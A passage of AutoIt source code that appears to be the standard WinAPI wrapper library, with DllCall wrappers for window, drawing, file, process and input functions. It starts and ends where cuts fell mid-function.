Case $fnerr_buffertoosmall
Return SetError($aresult[0], 0, "The buffer pointed to by the lpstrFile member of the OPENFILENAME structure is too small for the file name specified by the user." & @LF & "The first two bytes of the lpstrFile buffer contain an integer value specifying the size, in TCHARs, required to receive the full name.")
Case $fnerr_invalidfilename
Return SetError($aresult[0], 0, "A file name is invalid.")
Case $fnerr_subclassfailure
Return SetError($aresult[0], 0, "An attempt to subclass a list box failed because sufficient memory was not available.")
EndSwitch
Return Hex($aresult[0])
EndFunc
Func _winapi_copyicon($hicon)
Local $aresult = DllCall("user32.dll", "handle", "CopyIcon", "handle", $hicon)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createbitmap($iwidth, $iheight, $iplanes = 1, $ibitsperpel = 1, $pbits = 0)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateBitmap", "int", $iwidth, "int", $iheight, "uint", $iplanes, "uint", $ibitsperpel, "ptr", $pbits)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleBitmap", "handle", $hdc, "int", $iwidth, "int", $iheight)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createcompatibledc($hdc)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleDC", "handle", $hdc)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createevent($pattributes = 0, $fmanualreset = True, $finitialstate = True, $sname = "")
Local $snametype = "wstr"
If $sname = "" Then
$sname = 0
$snametype = "ptr"
EndIf
Local $aresult = DllCall("kernel32.dll", "handle", "CreateEventW", "ptr", $pattributes, "bool", $fmanualreset, "bool", $finitialstate, $snametype, $sname)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createfile($sfilename, $icreation, $iaccess = 4, $ishare = 0, $iattributes = 0, $psecurity = 0)
Local $ida = 0, $ism = 0, $icd = 0, $ifa = 0
If BitAND($iaccess, 1) <> 0 Then $ida = BitOR($ida, $generic_execute)
If BitAND($iaccess, 2) <> 0 Then $ida = BitOR($ida, $generic_read)
If BitAND($iaccess, 4) <> 0 Then $ida = BitOR($ida, $generic_write)
If BitAND($ishare, 1) <> 0 Then $ism = BitOR($ism, $file_share_delete)
If BitAND($ishare, 2) <> 0 Then $ism = BitOR($ism, $file_share_read)
If BitAND($ishare, 4) <> 0 Then $ism = BitOR($ism, $file_share_write)
Switch $icreation
Case 0
$icd = $create_new
Case 1
$icd = $create_always
Case 2
$icd = $open_existing
Case 3
$icd = $open_always
Case 4
$icd = $truncate_existing
EndSwitch
If BitAND($iattributes, 1) <> 0 Then $ifa = BitOR($ifa, $file_attribute_archive)
If BitAND($iattributes, 2) <> 0 Then $ifa = BitOR($ifa, $file_attribute_hidden)
If BitAND($iattributes, 4) <> 0 Then $ifa = BitOR($ifa, $file_attribute_readonly)
If BitAND($iattributes, 8) <> 0 Then $ifa = BitOR($ifa, $file_attribute_system)
Local $aresult = DllCall("kernel32.dll", "handle", "CreateFileW", "wstr", $sfilename, "dword", $ida, "dword", $ism, "ptr", $psecurity, "dword", $icd, "dword", $ifa, "ptr", 0)
If @error OR $aresult[0] = Ptr(-1) Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createfont($nheight, $nwidth, $nescape = 0, $norientn = 0, $fnweight = $__winapiconstant_fw_normal, $bitalic = False, $bunderline = False, $bstrikeout = False, $ncharset = $__winapiconstant_default_charset, $noutputprec = $__winapiconstant_out_default_precis, $nclipprec = $__winapiconstant_clip_default_precis, $nquality = $__winapiconstant_default_quality, $npitch = 0, $szface = "Arial")
Local $aresult = DllCall("gdi32.dll", "handle", "CreateFontW", "int", $nheight, "int", $nwidth, "int", $nescape, "int", $norientn, "int", $fnweight, "dword", $bitalic, "dword", $bunderline, "dword", $bstrikeout, "dword", $ncharset, "dword", $noutputprec, "dword", $nclipprec, "dword", $nquality, "dword", $npitch, "wstr", $szface)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createfontindirect($tlogfont)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateFontIndirectW", "struct*", $tlogfont)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createpen($ipenstyle, $iwidth, $ncolor)
Local $aresult = DllCall("gdi32.dll", "handle", "CreatePen", "int", $ipenstyle, "int", $iwidth, "dword", $ncolor)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createprocess($sappname, $scommand, $psecurity, $pthread, $finherit, $iflags, $penviron, $sdir, $pstartupinfo, $pprocess)
Local $tcommand = 0
Local $sappnametype = "wstr", $sdirtype = "wstr"
If $sappname = "" Then
$sappnametype = "ptr"
$sappname = 0
EndIf
If $scommand <> "" Then
$tcommand = DllStructCreate("wchar Text[" & 260 + 1 & "]")
DllStructSetData($tcommand, "Text", $scommand)
EndIf
If $sdir = "" Then
$sdirtype = "ptr"
$sdir = 0
EndIf
Local $aresult = DllCall("kernel32.dll", "bool", "CreateProcessW", $sappnametype, $sappname, "struct*", $tcommand, "ptr", $psecurity, "ptr", $pthread, "bool", $finherit, "dword", $iflags, "ptr", $penviron, $sdirtype, $sdir, "ptr", $pstartupinfo, "ptr", $pprocess)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_createrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateRectRgn", "int", $ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createroundrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect, $iwidthellipse, $iheightellipse)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateRoundRectRgn", "int", $ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect, "int", $iwidthellipse, "int", $iheightellipse)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createsolidbitmap($hwnd, $icolor, $iwidth, $iheight, $brgb = 1)
Local $hdc = _winapi_getdc($hwnd)
Local $hdestdc = _winapi_createcompatibledc($hdc)
Local $hbitmap = _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight)
Local $hold = _winapi_selectobject($hdestdc, $hbitmap)
Local $trect = DllStructCreate($tagrect)
DllStructSetData($trect, 1, 0)
DllStructSetData($trect, 2, 0)
DllStructSetData($trect, 3, $iwidth)
DllStructSetData($trect, 4, $iheight)
If $brgb Then
$icolor = BitOR(BitAND($icolor, 65280), BitShift(BitAND($icolor, 255), -16), BitShift(BitAND($icolor, 16711680), 16))
EndIf
Local $hbrush = _winapi_createsolidbrush($icolor)
_winapi_fillrect($hdestdc, $trect, $hbrush)
If @error Then
_winapi_deleteobject($hbitmap)
$hbitmap = 0
EndIf
_winapi_deleteobject($hbrush)
_winapi_releasedc($hwnd, $hdc)
_winapi_selectobject($hdestdc, $hold)
_winapi_deletedc($hdestdc)
If NOT $hbitmap Then Return SetError(1, 0, 0)
Return $hbitmap
EndFunc
Func _winapi_createsolidbrush($ncolor)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateSolidBrush", "dword", $ncolor)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createwindowex($iexstyle, $sclass, $sname, $istyle, $ix, $iy, $iwidth, $iheight, $hparent, $hmenu = 0, $hinstance = 0, $pparam = 0)
If $hinstance = 0 Then $hinstance = _winapi_getmodulehandle("")
Local $aresult = DllCall("user32.dll", "hwnd", "CreateWindowExW", "dword", $iexstyle, "wstr", $sclass, "wstr", $sname, "dword", $istyle, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "hwnd", $hparent, "handle", $hmenu, "handle", $hinstance, "ptr", $pparam)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_defwindowproc($hwnd, $imsg, $iwparam, $ilparam)
Local $aresult = DllCall("user32.dll", "lresult", "DefWindowProc", "hwnd", $hwnd, "uint", $imsg, "wparam", $iwparam, "lparam", $ilparam)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_deletedc($hdc)
Local $aresult = DllCall("gdi32.dll", "bool", "DeleteDC", "handle", $hdc)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_deleteobject($hobject)
Local $aresult = DllCall("gdi32.dll", "bool", "DeleteObject", "handle", $hobject)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_destroyicon($hicon)
Local $aresult = DllCall("user32.dll", "bool", "DestroyIcon", "handle", $hicon)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_destroywindow($hwnd)
Local $aresult = DllCall("user32.dll", "bool", "DestroyWindow", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_drawedge($hdc, $ptrrect, $nedgetype, $grfflags)
Local $aresult = DllCall("user32.dll", "bool", "DrawEdge", "handle", $hdc, "ptr", $ptrrect, "uint", $nedgetype, "uint", $grfflags)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_drawframecontrol($hdc, $ptrrect, $ntype, $nstate)
Local $aresult = DllCall("user32.dll", "bool", "DrawFrameControl", "handle", $hdc, "ptr", $ptrrect, "uint", $ntype, "uint", $nstate)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_drawicon($hdc, $ix, $iy, $hicon)
Local $aresult = DllCall("user32.dll", "bool", "DrawIcon", "handle", $hdc, "int", $ix, "int", $iy, "handle", $hicon)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_drawiconex($hdc, $ix, $iy, $hicon, $iwidth = 0, $iheight = 0, $istep = 0, $hbrush = 0, $iflags = 3)
Local $ioptions
Switch $iflags
Case 1
$ioptions = $__winapiconstant_di_mask
Case 2
$ioptions = $__winapiconstant_di_image
Case 3
$ioptions = $__winapiconstant_di_normal
Case 4
$ioptions = $__winapiconstant_di_compat
Case 5
$ioptions = $__winapiconstant_di_defaultsize
Case Else
$ioptions = $__winapiconstant_di_nomirror
EndSwitch
Local $aresult = DllCall("user32.dll", "bool", "DrawIconEx", "handle", $hdc, "int", $ix, "int", $iy, "handle", $hicon, "int", $iwidth, "int", $iheight, "uint", $istep, "handle", $hbrush, "uint", $ioptions)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_drawline($hdc, $ix1, $iy1, $ix2, $iy2)
_winapi_moveto($hdc, $ix1, $iy1)
If @error Then Return SetError(@error, @extended, False)
_winapi_lineto($hdc, $ix2, $iy2)
If @error Then Return SetError(@error, @extended, False)
Return True
EndFunc
Func _winapi_drawtext($hdc, $stext, ByRef $trect, $iflags)
Local $aresult = DllCall("user32.dll", "int", "DrawTextW", "handle", $hdc, "wstr", $stext, "int", -1, "struct*", $trect, "uint", $iflags)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_duplicatehandle($hsourceprocesshandle, $hsourcehandle, $htargetprocesshandle, $idesiredaccess, $finherithandle, $ioptions)
Local $acall = DllCall("kernel32.dll", "bool", "DuplicateHandle", "handle", $hsourceprocesshandle, "handle", $hsourcehandle, "handle", $htargetprocesshandle, "handle*", 0, "dword", $idesiredaccess, "bool", $finherithandle, "dword", $ioptions)
If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
Return $acall[4]
EndFunc
Func _winapi_enablewindow($hwnd, $fenable = True)
Local $aresult = DllCall("user32.dll", "bool", "EnableWindow", "hwnd", $hwnd, "bool", $fenable)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_enumdisplaydevices($sdevice, $idevnum)
Local $tname = 0, $iflags = 0, $adevice[5]
If $sdevice <> "" Then
$tname = DllStructCreate("wchar Text[" & StringLen($sdevice) + 1 & "]")
DllStructSetData($tname, "Text", $sdevice)
EndIf
Local $tdevice = DllStructCreate($tagdisplay_device)
Local $idevice = DllStructGetSize($tdevice)
DllStructSetData($tdevice, "Size", $idevice)
DllCall("user32.dll", "bool", "EnumDisplayDevicesW", "struct*", $tname, "dword", $idevnum, "struct*", $tdevice, "dword", 1)
If @error Then Return SetError(@error, @extended, 0)
Local $in = DllStructGetData($tdevice, "Flags")
If BitAND($in, $__winapiconstant_display_device_attached_to_desktop) <> 0 Then $iflags = BitOR($iflags, 1)
If BitAND($in, $__winapiconstant_display_device_primary_device) <> 0 Then $iflags = BitOR($iflags, 2)
If BitAND($in, $__winapiconstant_display_device_mirroring_driver) <> 0 Then $iflags = BitOR($iflags, 4)
If BitAND($in, $__winapiconstant_display_device_vga_compatible) <> 0 Then $iflags = BitOR($iflags, 8)
If BitAND($in, $__winapiconstant_display_device_removable) <> 0 Then $iflags = BitOR($iflags, 16)
If BitAND($in, $__winapiconstant_display_device_modespruned) <> 0 Then $iflags = BitOR($iflags, 32)
$adevice[0] = True
$adevice[1] = DllStructGetData($tdevice, "Name")
$adevice[2] = DllStructGetData($tdevice, "String")
$adevice[3] = $iflags
$adevice[4] = DllStructGetData($tdevice, "ID")
Return $adevice
EndFunc
Func _winapi_enumwindows($fvisible = True, $hwnd = Default)
__winapi_enumwindowsinit()
If $hwnd = Default Then $hwnd = _winapi_getdesktopwindow()
__winapi_enumwindowschild($hwnd, $fvisible)
Return $__gawinlist_winapi
EndFunc
Func __winapi_enumwindowsadd($hwnd, $sclass = "")
If $sclass = "" Then $sclass = _winapi_getclassname($hwnd)
$__gawinlist_winapi[0][0] += 1
Local $icount = $__gawinlist_winapi[0][0]
If $icount >= $__gawinlist_winapi[0][1] Then
ReDim $__gawinlist_winapi[$icount + 64][2]
$__gawinlist_winapi[0][1] += 64
EndIf
$__gawinlist_winapi[$icount][0] = $hwnd
$__gawinlist_winapi[$icount][1] = $sclass
EndFunc
Func __winapi_enumwindowschild($hwnd, $fvisible = True)
$hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_child)
While $hwnd <> 0
If (NOT $fvisible) OR _winapi_iswindowvisible($hwnd) Then
__winapi_enumwindowschild($hwnd, $fvisible)
__winapi_enumwindowsadd($hwnd)
EndIf
$hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext)
WEnd
EndFunc
Func __winapi_enumwindowsinit()
ReDim $__gawinlist_winapi[64][2]
$__gawinlist_winapi[0][0] = 0
$__gawinlist_winapi[0][1] = 64
EndFunc
Func _winapi_enumwindowspopup()
__winapi_enumwindowsinit()
Local $hwnd = _winapi_getwindow(_winapi_getdesktopwindow(), $__winapiconstant_gw_child)
Local $sclass
While $hwnd <> 0
If _winapi_iswindowvisible($hwnd) Then
$sclass = _winapi_getclassname($hwnd)
If $sclass = "#32768" Then
__winapi_enumwindowsadd($hwnd)
ElseIf $sclass = "ToolbarWindow32" Then
__winapi_enumwindowsadd($hwnd)
ElseIf $sclass = "ToolTips_Class32" Then
__winapi_enumwindowsadd($hwnd)
ElseIf $sclass = "BaseBar" Then
__winapi_enumwindowschild($hwnd)
EndIf
EndIf
$hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext)
WEnd
Return $__gawinlist_winapi
EndFunc
Func _winapi_enumwindowstop()
__winapi_enumwindowsinit()
Local $hwnd = _winapi_getwindow(_winapi_getdesktopwindow(), $__winapiconstant_gw_child)
While $hwnd <> 0
If _winapi_iswindowvisible($hwnd) Then __winapi_enumwindowsadd($hwnd)
$hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext)
WEnd
Return $__gawinlist_winapi
EndFunc
Func _winapi_expandenvironmentstrings($sstring)
Local $aresult = DllCall("kernel32.dll", "dword", "ExpandEnvironmentStringsW", "wstr", $sstring, "wstr", "", "dword", 4096)
If @error Then Return SetError(@error, @extended, "")
Return $aresult[2]
EndFunc
Func _winapi_extracticonex($sfile, $iindex, $plarge, $psmall, $iicons)
Local $aresult = DllCall("shell32.dll", "uint", "ExtractIconExW", "wstr", $sfile, "int", $iindex, "struct*", $plarge, "struct*", $psmall, "uint", $iicons)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_fatalappexit($smessage)
DllCall("kernel32.dll", "none", "FatalAppExitW", "uint", 0, "wstr", $smessage)
If @error Then Return SetError(@error, @extended)
EndFunc
Func _winapi_fillrect($hdc, $ptrrect, $hbrush)
Local $aresult
If IsPtr($hbrush) Then
$aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "struct*", $ptrrect, "handle", $hbrush)
Else
$aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "struct*", $ptrrect, "dword_ptr", $hbrush)
EndIf
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_findexecutable($sfilename, $sdirectory = "")
Local $aresult = DllCall("shell32.dll", "INT", "FindExecutableW", "wstr", $sfilename, "wstr", $sdirectory, "wstr", "")
If @error Then Return SetError(@error, @extended, 0)
Return SetExtended($aresult[0], $aresult[3])
EndFunc
Func _winapi_findwindow($sclassname, $swindowname)
Local $aresult = DllCall("user32.dll", "hwnd", "FindWindowW", "wstr", $sclassname, "wstr", $swindowname)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_flashwindow($hwnd, $finvert = True)
Local $aresult = DllCall("user32.dll", "bool", "FlashWindow", "hwnd", $hwnd, "bool", $finvert)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_flashwindowex($hwnd, $iflags = 3, $icount = 3, $itimeout = 0)
Local $tflash = DllStructCreate($tagflashwinfo)
Local $iflash = DllStructGetSize($tflash)
Local $imode = 0
If BitAND($iflags, 1) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_caption)
If BitAND($iflags, 2) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_tray)
If BitAND($iflags, 4) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_timer)
If BitAND($iflags, 8) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_timernofg)
DllStructSetData($tflash, "Size", $iflash)
DllStructSetData($tflash, "hWnd", $hwnd)
DllStructSetData($tflash, "Flags", $imode)
DllStructSetData($tflash, "Count", $icount)
DllStructSetData($tflash, "Timeout", $itimeout)
Local $aresult = DllCall("user32.dll", "bool", "FlashWindowEx", "struct*", $tflash)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_floattoint($nfloat)
Local $tfloat = DllStructCreate("float")
Local $tint = DllStructCreate("int", DllStructGetPtr($tfloat))
DllStructSetData($tfloat, 1, $nfloat)
Return DllStructGetData($tint, 1)
EndFunc
Func _winapi_flushfilebuffers($hfile)
Local $aresult = DllCall("kernel32.dll", "bool", "FlushFileBuffers", "handle", $hfile)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_formatmessage($iflags, $psource, $imessageid, $ilanguageid, ByRef $pbuffer, $isize, $varguments)
Local $sbuffertype = "struct*"
If IsString($pbuffer) Then $sbuffertype = "wstr"
Local $aresult = DllCall("Kernel32.dll", "dword", "FormatMessageW", "dword", $iflags, "ptr", $psource, "dword", $imessageid, "dword", $ilanguageid, $sbuffertype, $pbuffer, "dword", $isize, "ptr", $varguments)
If @error Then Return SetError(@error, @extended, 0)
If $sbuffertype = "wstr" Then $pbuffer = $aresult[5]
Return $aresult[0]
EndFunc
Func _winapi_framerect($hdc, $ptrrect, $hbrush)
Local $aresult = DllCall("user32.dll", "int", "FrameRect", "handle", $hdc, "ptr", $ptrrect, "handle", $hbrush)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_freelibrary($hmodule)
Local $aresult = DllCall("kernel32.dll", "bool", "FreeLibrary", "handle", $hmodule)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_getancestor($hwnd, $iflags = 1)
Local $aresult = DllCall("user32.dll", "hwnd", "GetAncestor", "hwnd", $hwnd, "uint", $iflags)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getasynckeystate($ikey)
Local $aresult = DllCall("user32.dll", "short", "GetAsyncKeyState", "int", $ikey)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getbkmode($hdc)
Local $aresult = DllCall("gdi32.dll", "int", "GetBkMode", "handle", $hdc)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getclassname($hwnd)
If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
Local $aresult = DllCall("user32.dll", "int", "GetClassNameW", "hwnd", $hwnd, "wstr", "", "int", 4096)
If @error Then Return SetError(@error, @extended, False)
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _winapi_getclientheight($hwnd)
Local $trect = _winapi_getclientrect($hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top")
EndFunc
Func _winapi_getclientwidth($hwnd)
Local $trect = _winapi_getclientrect($hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($trect, "Right") - DllStructGetData($trect, "Left")
EndFunc
Func _winapi_getclientrect($hwnd)
Local $trect = DllStructCreate($tagrect)
DllCall("user32.dll", "bool", "GetClientRect", "hwnd", $hwnd, "struct*", $trect)
If @error Then Return SetError(@error, @extended, 0)
Return $trect
EndFunc
Func _winapi_getcurrentprocess()
Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentProcess")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getcurrentprocessid()
Local $aresult = DllCall("kernel32.dll", "dword", "GetCurrentProcessId")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getcurrentthread()
Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentThread")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getcurrentthreadid()
Local $aresult = DllCall("kernel32.dll", "dword", "GetCurrentThreadId")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getcursorinfo()
Local $tcursor = DllStructCreate($tagcursorinfo)
Local $icursor = DllStructGetSize($tcursor)
DllStructSetData($tcursor, "Size", $icursor)
DllCall("user32.dll", "bool", "GetCursorInfo", "struct*", $tcursor)
If @error Then Return SetError(@error, @extended, 0)
Local $acursor[5]
$acursor[0] = True
$acursor[1] = DllStructGetData($tcursor, "Flags") <> 0
$acursor[2] = DllStructGetData($tcursor, "hCursor")
$acursor[3] = DllStructGetData($tcursor, "X")
$acursor[4] = DllStructGetData($tcursor, "Y")
Return $acursor
EndFunc
Func _winapi_getdc($hwnd)
Local $aresult = DllCall("user32.dll", "handle", "GetDC", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getdesktopwindow()
Local $aresult = DllCall("user32.dll", "hwnd", "GetDesktopWindow")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getdevicecaps($hdc, $iindex)
Local $aresult = DllCall("gdi32.dll", "int", "GetDeviceCaps", "handle", $hdc, "int", $iindex)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getdibits($hdc, $hbmp, $istartscan, $iscanlines, $pbits, $pbi, $iusage)
Local $aresult = DllCall("gdi32.dll", "int", "GetDIBits", "handle", $hdc, "handle", $hbmp, "uint", $istartscan, "uint", $iscanlines, "ptr", $pbits, "ptr", $pbi, "uint", $iusage)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_getdlgctrlid($hwnd)
Local $aresult = DllCall("user32.dll", "int", "GetDlgCtrlID", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getdlgitem($hwnd, $iitemid)
Local $aresult = DllCall("user32.dll", "hwnd", "GetDlgItem", "hwnd", $hwnd, "int", $iitemid)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getfocus()
Local $aresult = DllCall("user32.dll", "hwnd", "GetFocus")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getforegroundwindow()
Local $aresult = DllCall("user32.dll", "hwnd", "GetForegroundWindow")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getguiresources($iflag = 0, $hprocess = -1)
If $hprocess = -1 Then $hprocess = _winapi_getcurrentprocess()
Local $aresult = DllCall("user32.dll", "dword", "GetGuiResources", "handle", $hprocess, "dword", $iflag)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_geticoninfo($hicon)
Local $tinfo = DllStructCreate($tagiconinfo)
DllCall("user32.dll", "bool", "GetIconInfo", "handle", $hicon, "struct*", $tinfo)
If @error Then Return SetError(@error, @extended, 0)
Local $aicon[6]
$aicon[0] = True
$aicon[1] = DllStructGetData($tinfo, "Icon") <> 0
$aicon[2] = DllStructGetData($tinfo, "XHotSpot")
$aicon[3] = DllStructGetData($tinfo, "YHotSpot")
$aicon[4] = DllStructGetData($tinfo, "hMask")
$aicon[5] = DllStructGetData($tinfo, "hColor")
Return $aicon
EndFunc
Func _winapi_getfilesizeex($hfile)
Local $aresult = DllCall("kernel32.dll", "bool", "GetFileSizeEx", "handle", $hfile, "int64*", 0)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[2]
EndFunc
Func _winapi_getlasterrormessage()
Local $tbufferptr = DllStructCreate("ptr")
Local $ncount = _winapi_formatmessage(BitOR($__winapiconstant_format_message_allocate_buffer, $__winapiconstant_format_message_from_system), 0, _winapi_getlasterror(), 0, $tbufferptr, 0, 0)
If @error Then Return SetError(@error, 0, "")
Local $stext = ""
Local $pbuffer = DllStructGetData($tbufferptr, 1)
If $pbuffer Then
If $ncount > 0 Then
Local $tbuffer = DllStructCreate("wchar[" & ($ncount + 1) & "]", $pbuffer)
$stext = DllStructGetData($tbuffer, 1)
EndIf
_winapi_localfree($pbuffer)
EndIf
Return $stext
EndFunc
Func _winapi_getlayeredwindowattributes($hwnd, ByRef $i_transcolor, ByRef $transparency, $ascolorref = False)
$i_transcolor = -1
$transparency = -1
Local $aresult = DllCall("user32.dll", "bool", "GetLayeredWindowAttributes", "hwnd", $hwnd, "dword*", $i_transcolor, "byte*", $transparency, "dword*", 0)
If @error Then Return SetError(@error, @extended, 0)
If NOT $ascolorref Then
$aresult[2] = Int(BinaryMid($aresult[2], 3, 1) & BinaryMid($aresult[2], 2, 1) & BinaryMid($aresult[2], 1, 1))
EndIf
$i_transcolor = $aresult[2]
$transparency = $aresult[3]
Return $aresult[4]
EndFunc
Func _winapi_getmodulehandle($smodulename)
Local $smodulenametype = "wstr"
If $smodulename = "" Then
$smodulename = 0
$smodulenametype = "ptr"
EndIf
Local $aresult = DllCall("kernel32.dll", "handle", "GetModuleHandleW", $smodulenametype, $smodulename)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getmousepos($ftoclient = False, $hwnd = 0)
Local $imode = Opt("MouseCoordMode", 1)
Local $apos = MouseGetPos()
Opt("MouseCoordMode", $imode)
Local $tpoint = DllStructCreate($tagpoint)
DllStructSetData($tpoint, "X", $apos[0])
DllStructSetData($tpoint, "Y", $apos[1])
If $ftoclient Then
_winapi_screentoclient($hwnd, $tpoint)
If @error Then Return SetError(@error, @extended, 0)
EndIf
Return $tpoint
EndFunc
Func _winapi_getmouseposx($ftoclient = False, $hwnd = 0)
Local $tpoint = _winapi_getmousepos($ftoclient, $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($tpoint, "X")
EndFunc
Func _winapi_getmouseposy($ftoclient = False, $hwnd = 0)
Local $tpoint = _winapi_getmousepos($ftoclient, $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($tpoint, "Y")
EndFunc
Func _winapi_getobject($hobject, $isize, $pobject)
Local $aresult = DllCall("gdi32.dll", "int", "GetObjectW", "handle", $hobject, "int", $isize, "ptr", $pobject)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getopenfilename($stitle = "", $sfilter = "All files (*.*)", $sinitaldir = ".", $sdefaultfile = "", $sdefaultext = "", $ifilterindex = 1, $iflags = 0, $iflagsex = 0, $hwndowner = 0)
Local $ipathlen = 4096
Local $inulls = 0
Local $tofn = DllStructCreate($tagopenfilename)
Local $afiles[1] = [0]
Local $iflag = $iflags
Local $asflines = StringSplit($sfilter, "|")
Local $asfilter[$asflines[0] * 2 + 1]
Local $istart, $ifinal, $stfilter
$asfilter[0] = $asflines[0] * 2
For $i = 1 To $asflines[0]
$istart = StringInStr($asflines[$i], "(", 0, 1)
$ifinal = StringInStr($asflines[$i], ")", 0, -1)
$asfilter[$i * 2 - 1] = StringStripWS(StringLeft($asflines[$i], $istart - 1), 3)
$asfilter[$i * 2] = StringStripWS(StringTrimRight(StringTrimLeft($asflines[$i], $istart), StringLen($asflines[$i]) - $ifinal + 1), 3)
